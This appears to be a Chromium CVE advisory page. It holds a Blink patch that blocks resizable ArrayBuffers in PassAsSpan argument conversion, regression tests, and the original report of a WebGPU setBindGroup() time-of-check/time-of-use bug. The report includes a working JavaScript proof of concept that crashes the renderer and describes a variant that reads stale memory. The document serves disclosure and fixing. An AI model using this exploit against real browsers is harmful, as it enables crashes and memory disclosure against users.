CVE-2026-11015
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
TESTthird_party/blink/renderer/bindings/core/v8/native_value_traits_impl_test.cc |
modified |
Files Changed
third_party/blink/renderer/bindings/IDLExtendedAttributes.mdthird_party/blink/renderer/bindings/core/v8/native_value_traits_impl.ccthird_party/blink/renderer/bindings/core/v8/native_value_traits_impl.hthird_party/blink/renderer/bindings/core/v8/native_value_traits_impl_test.cc
Patch
From 015bfc8f62bfc4b1985cc10981581fd8de463d7a Mon Sep 17 00:00:00 2001
From: Andrey Kosyakov <caseq@chromium.org>
Date: Mon, 13 Apr 2026 17:40:17 -0700
Subject: [PATCH] Do not allow resizable arrays when converting PassAsSpan arguments
Bug: 497183443
Change-Id: Iecbad1a2e0ec32237926509633a75be8ae0e5649
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7737852
Commit-Queue: Andrey Kosyakov <caseq@chromium.org>
Reviewed-by: Nate Chapin <japhet@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1614098}
---
diff --git a/third_party/blink/renderer/bindings/IDLExtendedAttributes.md b/third_party/blink/renderer/bindings/IDLExtendedAttributes.md
index 18df3c5..e9ab97c8 100644
--- a/third_party/blink/renderer/bindings/IDLExtendedAttributes.md
+++ b/third_party/blink/renderer/bindings/IDLExtendedAttributes.md
@@ -111,6 +111,24 @@
These are defined in the [ECMAScript-specific extended attributes](https://webidl.spec.whatwg.org/#es-extended-attributes) section of the [Web IDL spec](https://webidl.spec.whatwg.org/), and alter the binding behavior.
+### [AllowResizable]
+
+Standard: [AllowResizable](https://webidl.spec.whatwg.org/#AllowResizable)
+
+Summary: `[AllowResizable]` specified on a type indicates that for ArrayBuffer or ArrayBufferView arguments the values backed by resizable array buffers are allowed. In case of a SharedArrayBuffer being passed, if allowed by specifying `[AllowShared]` (documented below)), this implies that the shared array buffer is growable.
+
+Usage: `[AllowResizable]` must be specified on a parameter to a method or a typedef:
+
+```webidl
+interface Context {
+ void bufferData1([AllowResizable] ArrayBufferView buffer);
+ void bufferData2([AllowResizable] Float32Array buffer);
+ void bufferData3([AllowResizable] ArrayBuffer buffer);
+};
+```
+
+Note that while there's a low-level support for resizable array buffers, Blink IDL code generator currently does not support this attribute and, at the time of writing, there are no APIs using it in the blink tree.
+
### [AllowShared]
Standard: [AllowShared](https://webidl.spec.whatwg.org/#AllowShared)
diff --git a/third_party/blink/renderer/bindings/core/v8/native_value_traits_impl.cc b/third_party/blink/renderer/bindings/core/v8/native_value_traits_impl.cc
index 973b712e..59bc4ba 100644
--- a/third_party/blink/renderer/bindings/core/v8/native_value_traits_impl.cc
+++ b/third_party/blink/renderer/bindings/core/v8/native_value_traits_impl.cc
@@ -39,6 +39,26 @@
argument_index, wrapper_type_info->interface_name));
}
+bool ThrowIfResizable(v8::Local<v8::ArrayBuffer> array_buffer,
+ ExceptionState& exception_state) {
+ if (array_buffer->IsResizableByUserJavaScript()) {
+ exception_state.ThrowTypeError(
+ "The provided ArrayBuffer value must not be resizable");
+ return false;
+ }
+ return true;
+}
+
+bool ThrowIfResizable(v8::Local<v8::SharedArrayBuffer> shared_array_buffer,
+ ExceptionState& exception_state) {
+ if (shared_array_buffer->GetBackingStore()->IsResizableByUserJavaScript()) {
+ exception_state.ThrowTypeError(
+ "The provided SharedArrayBuffer value must not be resizable");
+ return false;
+ }
+ return true;
+}
+
template <>
CORE_TEMPLATE_EXPORT typename NativeValueTraits<IDLSequence<IDLLong>>::ImplType
CreateIDLSequenceFromV8Array<IDLLong>(v8::Isolate* isolate,
diff --git a/third_party/blink/renderer/bindings/core/v8/native_value_traits_impl.h b/third_party/blink/renderer/bindings/core/v8/native_value_traits_impl.h
index 0fd6665..bbc4252c 100644
--- a/third_party/blink/renderer/bindings/core/v8/native_value_traits_impl.h
+++ b/third_party/blink/renderer/bindings/core/v8/native_value_traits_impl.h
@@ -1642,6 +1642,14 @@
template <>
struct NativeValueTraits<IDLNullable<IDLOnErrorEventHandler>>;
+namespace bindings {
+bool CORE_EXPORT ThrowIfResizable(v8::Local<v8::ArrayBuffer> array_buffer,
+ ExceptionState& exception_state);
+bool CORE_EXPORT
+ThrowIfResizable(v8::Local<v8::SharedArrayBuffer> shared_array_buffer,
+ ExceptionState& exception_state);
+} // namespace bindings
+
template <typename T>
requires std::derived_from<T, PassAsSpanMarkerBase> && (!T::is_typed)
struct NativeValueTraits<T> : public NativeValueTraitsBase<T> {
@@ -1658,25 +1666,39 @@
result;
if (value->IsArrayBuffer()) {
v8::Local<v8::ArrayBuffer> array_buffer = value.As<v8::ArrayBuffer>();
+ if (!bindings::ThrowIfResizable(array_buffer, exception_state))
+ [[unlikely]] {
+ return result;
+ }
result.MaybeSetArrayBuffer(array_buffer);
result.Assign(bindings::internal::GetArrayData(array_buffer));
return result;
}
if (T::allow_shared && value->IsSharedArrayBuffer()) {
- result.Assign(
- bindings::internal::GetArrayData(value.As<v8::SharedArrayBuffer>()));
+ v8::Local<v8::SharedArrayBuffer> shared_array_buffer =
+ value.As<v8::SharedArrayBuffer>();
+ if (!bindings::ThrowIfResizable(shared_array_buffer, exception_state))
+ [[unlikely]] {
+ return result;
+ }
+ result.Assign(bindings::internal::GetArrayData(shared_array_buffer));
return result;
}
if (value->IsArrayBufferView()) {
v8::Local<v8::ArrayBufferView> view = value.As<v8::ArrayBufferView>();
if (view->HasBuffer()) {
- if (!T::allow_shared && view->Buffer()->GetBackingStore()->IsShared())
+ v8::Local<v8::ArrayBuffer> array_buffer = view->Buffer();
+ if (!bindings::ThrowIfResizable(array_buffer, exception_state))
+ [[unlikely]] {
+ return result;
+ }
+ if (!T::allow_shared && array_buffer->GetBackingStore()->IsShared())
[[unlikely]] {
exception_state.ThrowTypeError(
"The provided ArrayBufferView value must not be shared.");
return result;
}
- result.MaybeSetArrayBuffer(view->Buffer());
+ result.MaybeSetArrayBuffer(array_buffer);
}
result.Assign(view->GetContents(result.GetInlineStorage()));
return result;
@@ -1705,13 +1727,18 @@
if (Traits::IsViewOfType(value)) [[likely]] {
v8::Local<v8::ArrayBufferView> view = value.As<v8::ArrayBufferView>();
if (view->HasBuffer()) {
- if (!T::allow_shared && view->Buffer()->GetBackingStore()->IsShared())
+ v8::Local<v8::ArrayBuffer> array_buffer = view->Buffer();
+ if (!bindings::ThrowIfResizable(array_buffer, exception_state))
+ [[unlikely]] {
+ return result;
+ }
+ if (!T::allow_shared && array_buffer->GetBackingStore()->IsShared())
[[unlikely]] {
exception_state.ThrowTypeError(
"The provided ArrayBufferView value must not be shared.");
return result;
}
- result.MaybeSetArrayBuffer(view->Buffer());
+ result.MaybeSetArrayBuffer(array_buffer);
}
result.Assign(view->GetContents(result.GetInlineStorage()));
return result;
diff --git a/third_party/blink/renderer/bindings/core/v8/native_value_traits_impl_test.cc b/third_party/blink/renderer/bindings/core/v8/native_value_traits_impl_test.cc
index ff703f80..28118d31c 100644
--- a/third_party/blink/renderer/bindings/core/v8/native_value_traits_impl_test.cc
+++ b/third_party/blink/renderer/bindings/core/v8/native_value_traits_impl_test.cc
@@ -482,22 +482,52 @@
scope.GetIsolate(), 0, subarray, exception_state)
.as_span(),
testing::IsEmpty());
+}
- v8::Local<v8::Object> v8_object = EvaluateScriptForObject(scope, R"(
- (function() {
- const arr = new ArrayBuffer(8, {maxByteLength: 8});
- const view = new Uint8Array(arr);
+TEST(NativeValueTraitsImplTest, PassAsSpanResizable) {
+ test::TaskEnvironment task_environment;
+ V8TestingScope scope;
- for (let i = 0; i < 8; ++i) view[i] = i;
- arr.resize(4);
- return view;
- })()
- )");
+ {
+ v8::Local<v8::Object> v8_object = EvaluateScriptForObject(scope, R"(
+ new ArrayBuffer(8, {maxByteLength: 8});
+ )");
- EXPECT_THAT(NativeValueTraits<PassAsSpanShared>::ArgumentValue(
- scope.GetIsolate(), 0, v8_object, exception_state)
- .as_span(),
- testing::ElementsAre(0, 1, 2, 3));
+ ASSERT_TRUE(v8_object->IsArrayBuffer());
+ EXPECT_TRUE(v8_object.As<v8::ArrayBuffer>()->IsResizableByUserJavaScript());
+ DummyExceptionStateForTesting exception_state;
+ std::ignore = NativeValueTraits<PassAsSpanShared>::ArgumentValue(
+ scope.GetIsolate(), 0, v8_object, exception_state);
+ EXPECT_TRUE(exception_state.HadException());
+ }
+ {
+ v8::Local<v8::Object> v8_object = EvaluateScriptForObject(scope, R"(
+ new Uint8Array(new ArrayBuffer(8, {maxByteLength: 8}));
+ )");
Regression Test / PoC
diff --git a/third_party/blink/renderer/bindings/core/v8/native_value_traits_impl_test.cc b/third_party/blink/renderer/bindings/core/v8/native_value_traits_impl_test.cc
index ff703f80..28118d31c 100644
--- a/third_party/blink/renderer/bindings/core/v8/native_value_traits_impl_test.cc
+++ b/third_party/blink/renderer/bindings/core/v8/native_value_traits_impl_test.cc
@@ -482,22 +482,52 @@
scope.GetIsolate(), 0, subarray, exception_state)
.as_span(),
testing::IsEmpty());
+}
- v8::Local<v8::Object> v8_object = EvaluateScriptForObject(scope, R"(
- (function() {
- const arr = new ArrayBuffer(8, {maxByteLength: 8});
- const view = new Uint8Array(arr);
+TEST(NativeValueTraitsImplTest, PassAsSpanResizable) {
+ test::TaskEnvironment task_environment;
+ V8TestingScope scope;
- for (let i = 0; i < 8; ++i) view[i] = i;
- arr.resize(4);
- return view;
- })()
- )");
+ {
+ v8::Local<v8::Object> v8_object = EvaluateScriptForObject(scope, R"(
+ new ArrayBuffer(8, {maxByteLength: 8});
+ )");
- EXPECT_THAT(NativeValueTraits<PassAsSpanShared>::ArgumentValue(
- scope.GetIsolate(), 0, v8_object, exception_state)
- .as_span(),
- testing::ElementsAre(0, 1, 2, 3));
+ ASSERT_TRUE(v8_object->IsArrayBuffer());
+ EXPECT_TRUE(v8_object.As<v8::ArrayBuffer>()->IsResizableByUserJavaScript());
+ DummyExceptionStateForTesting exception_state;
+ std::ignore = NativeValueTraits<PassAsSpanShared>::ArgumentValue(
+ scope.GetIsolate(), 0, v8_object, exception_state);
+ EXPECT_TRUE(exception_state.HadException());
+ }
+ {
+ v8::Local<v8::Object> v8_object = EvaluateScriptForObject(scope, R"(
+ new Uint8Array(new ArrayBuffer(8, {maxByteLength: 8}));
+ )");
+
+ ASSERT_TRUE(v8_object->IsArrayBufferView());
+ EXPECT_TRUE(v8_object.As<v8::ArrayBufferView>()
+ ->Buffer()
+ ->IsResizableByUserJavaScript());
+ DummyExceptionStateForTesting exception_state;
+ std::ignore = NativeValueTraits<PassAsSpanShared>::ArgumentValue(
+ scope.GetIsolate(), 0, v8_object, exception_state);
+ EXPECT_TRUE(exception_state.HadException());
+ }
+ {
+ v8::Local<v8::Object> v8_object = EvaluateScriptForObject(scope, R"(
+ new SharedArrayBuffer(8, {maxByteLength: 8});
+ )");
+
+ ASSERT_TRUE(v8_object->IsSharedArrayBuffer());
+ EXPECT_TRUE(v8_object.As<v8::SharedArrayBuffer>()
+ ->GetBackingStore()
+ ->IsResizableByUserJavaScript());
+ DummyExceptionStateForTesting exception_state;
+ std::ignore = NativeValueTraits<PassAsSpanShared>::ArgumentValue(
+ scope.GetIsolate(), 0, v8_object, exception_state);
+ EXPECT_TRUE(exception_state.HadException());
+ }
}
TEST(NativeValueTraitsImplTest, PassAsSpanInlineStorage) {
diff --git a/third_party/blink/web_tests/external/wpt/encoding/encodeInto.any-expected.txt b/third_party/blink/web_tests/external/wpt/encoding/encodeInto.any-expected.txt
index 6154e76..9a2c36c 100644
--- a/third_party/blink/web_tests/external/wpt/encoding/encodeInto.any-expected.txt
+++ b/third_party/blink/web_tests/external/wpt/encoding/encodeInto.any-expected.txt
@@ -1,5 +1,5 @@
This is a testharness.js-based test.
-Found 44 FAIL, 0 TIMEOUT, 0 NOTRUN.
+Found 42 FAIL, 0 TIMEOUT, 0 NOTRUN.
[FAIL] encodeInto() into SharedArrayBuffer with Hi and destination length 0, offset 0, filler 0
Failed to execute 'encodeInto' on 'TextEncoder': The provided Uint8Array value must not be shared.
[FAIL] encodeInto() into SharedArrayBuffer with Hi and destination length 0, offset 4, filler 0
diff --git a/third_party/blink/web_tests/external/wpt/encoding/encodeInto.any.serviceworker-expected.txt b/third_party/blink/web_tests/external/wpt/encoding/encodeInto.any.serviceworker-expected.txt
index 6154e76..9a2c36c 100644
--- a/third_party/blink/web_tests/external/wpt/encoding/encodeInto.any.serviceworker-expected.txt
+++ b/third_party/blink/web_tests/external/wpt/encoding/encodeInto.any.serviceworker-expected.txt
@@ -1,5 +1,5 @@
This is a testharness.js-based test.
-Found 44 FAIL, 0 TIMEOUT, 0 NOTRUN.
+Found 42 FAIL, 0 TIMEOUT, 0 NOTRUN.
[FAIL] encodeInto() into SharedArrayBuffer with Hi and destination length 0, offset 0, filler 0
Failed to execute 'encodeInto' on 'TextEncoder': The provided Uint8Array value must not be shared.
[FAIL] encodeInto() into SharedArrayBuffer with Hi and destination length 0, offset 4, filler 0
diff --git a/third_party/blink/web_tests/external/wpt/encoding/encodeInto.any.sharedworker-expected.txt b/third_party/blink/web_tests/external/wpt/encoding/encodeInto.any.sharedworker-expected.txt
index 6154e76..9a2c36c 100644
--- a/third_party/blink/web_tests/external/wpt/encoding/encodeInto.any.sharedworker-expected.txt
+++ b/third_party/blink/web_tests/external/wpt/encoding/encodeInto.any.sharedworker-expected.txt
@@ -1,5 +1,5 @@
This is a testharness.js-based test.
-Found 44 FAIL, 0 TIMEOUT, 0 NOTRUN.
+Found 42 FAIL, 0 TIMEOUT, 0 NOTRUN.
[FAIL] encodeInto() into SharedArrayBuffer with Hi and destination length 0, offset 0, filler 0
Failed to execute 'encodeInto' on 'TextEncoder': The provided Uint8Array value must not be shared.
[FAIL] encodeInto() into SharedArrayBuffer with Hi and destination length 0, offset 4, filler 0
diff --git a/third_party/blink/web_tests/external/wpt/encoding/encodeInto.any.worker-expected.txt b/third_party/blink/web_tests/external/wpt/encoding/encodeInto.any.worker-expected.txt
index 6154e76..9a2c36c 100644
--- a/third_party/blink/web_tests/external/wpt/encoding/encodeInto.any.worker-expected.txt
+++ b/third_party/blink/web_tests/external/wpt/encoding/encodeInto.any.worker-expected.txt
@@ -1,5 +1,5 @@
This is a testharness.js-based test.
-Found 44 FAIL, 0 TIMEOUT, 0 NOTRUN.
+Found 42 FAIL, 0 TIMEOUT, 0 NOTRUN.
[FAIL] encodeInto() into SharedArrayBuffer with Hi and destination length 0, offset 0, filler 0
Failed to execute 'encodeInto' on 'TextEncoder': The provided Uint8Array value must not be shared.
[FAIL] encodeInto() into SharedArrayBuffer with Hi and destination length 0, offset 4, filler 0
Original Bug Report
WebGPU `setBindGroup()`: renderer crash and bounds-check bypass via ResizableArrayBuffer shrink during argument coercion (PassAsSpan TOCTOU)
GPUProgrammablePassEncoder.setBindGroup() accepts a Uint32Array for the dynamicOffsetsData parameter. If that typed array is backed by a ResizableArrayBuffer (RAB) and a subsequent numeric argument’s valueOf() callback shrinks the backing buffer, Blink captures a span pointing into memory that V8 has decommitted. Dawn’s wire client immediately memcpys from that span synchronously inside the setBindGroup call, before any GPU submission, resulting in a read of decommitted memory (STATUS_ACCESS_VIOLATION).
Root cause: ByteSpanWithInlineStorage::as_span() in third_party/blink/renderer/bindings/core/v8/pass_as_span.h contains a guard for ArrayBuffer detachment (WasDetached()) but no equivalent guard for ResizableArrayBuffer shrink. Because WebIDL evaluates arguments left-to-right, start.valueOf() fires after the span is captured (arg 2), creating a TOCTOU window.
arg2: dynamicOffsetsData β span captured {rab_backing_ptr, N}
arg3: start.valueOf() β rab.resize(0) β pages decommitted
arg4: length.valueOf() β (stale span already captured)
β
Dawn wire client: memcpy(dst, rab_backing_ptr, 4) β STATUS_ACCESS_VIOLATION
Patch gap evidence: The same TOCTOU was already found and fixed in adjacent APIs on the same Chrome build:
| API | Result on Chrome 146.0.7680.165 |
|---|---|
GPUQueue.writeBuffer() |
β TypeError (fixed) |
VideoFrame.copyTo() |
β TypeError (fixed) |
GPUProgrammablePassEncoder.setBindGroup() |
β crash / bypass |
setBindGroup uses the [PassAsSpan] IDL annotation, which operates at the binding-generator layer rather than in the C++ implementation. The C++ implementation checks that protect writeBuffer and copyTo do not cover PassAsSpan, so setBindGroup escaped the systematic fix.
Confirmed primitives:
- Renderer crash β
resize(0)decommits all backing pages; Dawn’s synchronousmemcpyraises STATUS_ACCESS_VIOLATION. Reproduces on both compute and render pass paths. - Bounds-check bypass (no crash) β
resize(4)leaves the first 4 bytes committed;setBindGroupsucceeds withview.length = 0in JS; the stale span passesValidateSetBindGroupDynamicOffsets. - Exact stale value forwarded β the specific integer written to
offsets[0]before resize appears verbatim in the GPU error message (value512confirmed). - Compute shader controlled by stale offset β two different pre-seeded uniform buffer regions (
[0x41414141, β¦]at offset 0,[0xDEADBEEF, β¦]at offset 256) are returned to JavaScript viastorageBuffer.mapAsync()based solely on the pre-resize value ofoffsets[0]. - Render pass fragment shader output controlled β attacker-chosen color rendered to canvas via stale offset.
VERSION
Chrome 146.0.7680.165 (Official Build) (64-bit), Windows 11 64-bit
No command-line flags, no extensions, no DevTools required.
REPRODUCTION CASE
Setup:
python3 -m http.server 8080
Place the two attached HTML files in the same directory and open them in Chrome stable.
Minimal inline crash PoC (no files required β paste into DevTools console on any https:// page with WebGPU enabled):
<!doctype html><script>
(async () => {
const adapter = await navigator.gpu.requestAdapter();
const device = await adapter.requestDevice();
const encoder = device.createCommandEncoder();
const pass = encoder.beginComputePass();
const layout = device.createBindGroupLayout({ entries: [] });
const bg = device.createBindGroup({ layout, entries: [] });
const rab = new ArrayBuffer(4, { maxByteLength: 4 });
const view = new Uint32Array(rab);
view[0] = 0xDEADBEEF;
const start = { valueOf() { rab.resize(0); return 0; } };
// STATUS_ACCESS_VIOLATION: Dawn memcpy hits decommitted page
pass.setBindGroup(0, bg, view, start, 1);
})();
</script>
Expected: tab crashes (renderer process) with STATUS_ACCESS_VIOLATION.
Attached PoC 1 β Crash: webgpu-setbindgroup-rab-poc.html
Runs three tests automatically:
| Test | Action | Expected (fixed) | Actual (Chrome 146) |
|---|---|---|---|
| Baseline | normal call | no crash | no crash β |
Detach in valueOf() |
structuredClone detach |
RangeError | RangeError β |
Shrink in valueOf() |
resize(0) |
RangeError | tab crash |
Attached PoC 2 β Controlled-read proof: webgpu-setbindgroup-rab-arb-read-poc.html
resize(4) (non-crash variant). Compute shader reads the attacker-selected uniform buffer region and returns 16 bytes to JavaScript.
Confirmed output on Chrome 146.0.7680.165:
Test 2 (stale read, offsets[0]=0):
view.length after resize: 0 (out-of-bounds in JS)
β setBindGroup did not throw despite view.length=0
β Storage buffer contains: [0x41414141, 0x42424242, 0x43434343, 0x44444444]
β VALUES MATCH offset-0 sentinels
Test 3 (stale read, offsets[0]=256):
view.length after resize: 0 (out-of-bounds in JS)
β setBindGroup did not throw despite view.length=0
β Storage buffer contains: [0xDEADBEEF, 0xCAFEBABE, 0x13371337, 0xFEEDFACE]
β VALUES MATCH offset-256 sentinels
Tests 2 and 3 return different values corresponding exactly to different pre-seeded uniform buffer regions. The only difference between the two tests is offsets[0] before resize β a value JavaScript considers inaccessible at call time.
TYPE OF CRASH
STATUS_ACCESS_VIOLATION β read of decommitted virtual memory.
Crash occurs synchronously inside GPUComputePassEncoder::setBindGroup /
GPURenderPassEncoder::setBindGroup, before pass.end() or
encoder.finish(), confirming the fault is in Blink/Dawn client-side handling
(not GPU driver execution).
CRASH STATE
Approximate call stack at time of access violation:
wgpu::ComputePassEncoder::SetBindGroup(unsigned int, wgpu::BindGroup, ...)
[Dawn wire client β synchronous memcpy of uint32_t offsets array]
blink::GPUComputePassEncoder::setBindGroup(unsigned int, blink::GPUBindGroup*, ...)
[gpu_compute_pass_encoder.cc β passes stale data_span.data() to Dawn]
blink::GPUProgrammablePassEncoder_setBindGroup (generated IDL binding)
[NativeValueTraits<PassAsSpan<β¦>>::ArgumentValue captures span at arg2]
[start.valueOf() fires at arg3 β rab.resize(0) β pages decommitted]
[C++ implementation called with stale span pointing to decommitted memory]
v8::internal::Builtin_HandleApiCallOrConstruct
Both compute pass (GPUComputePassEncoder) and render pass (GPURenderPassEncoder) crash identically via the shared ValidateSetBindGroupDynamicOffsets / GetHandle().SetBindGroup path.
SUGGESTED FIX
Add an RAB-aware revalidation in ByteSpanWithInlineStorage::as_span()
(third_party/blink/renderer/bindings/core/v8/pass_as_span.h), mirroring the
existing detach guard:
const base::span<const uint8_t> as_span() const {
if constexpr (kPerformDetachCheck) {
if (!orig_buffer_for_detach_check_.IsEmpty()) {
auto buf = orig_buffer_for_detach_check_;
if (buf->WasDetached()) return {};
// NEW: resizable-buffer shrink guard
if (buf->IsResizableByUserJavaScript()) {
const uint8_t* buf_base =
static_cast<const uint8_t*>(buf->Data());
size_t buf_len = buf->ByteLength();
if (span_.data() < buf_base ||
span_.data() + span_.size() > buf_base + buf_len) {
return {};
}
}
}
}
return span_;
}
With this fix, rab.resize(0) causes as_span() to return {}, ValidateSetBindGroupDynamicOffsets receives size 0, and throws RangeError β matching the behaviour of writeBuffer and copyTo on the same build.
CREDIT INFORMATION
Reporter: Yuma Takeuchi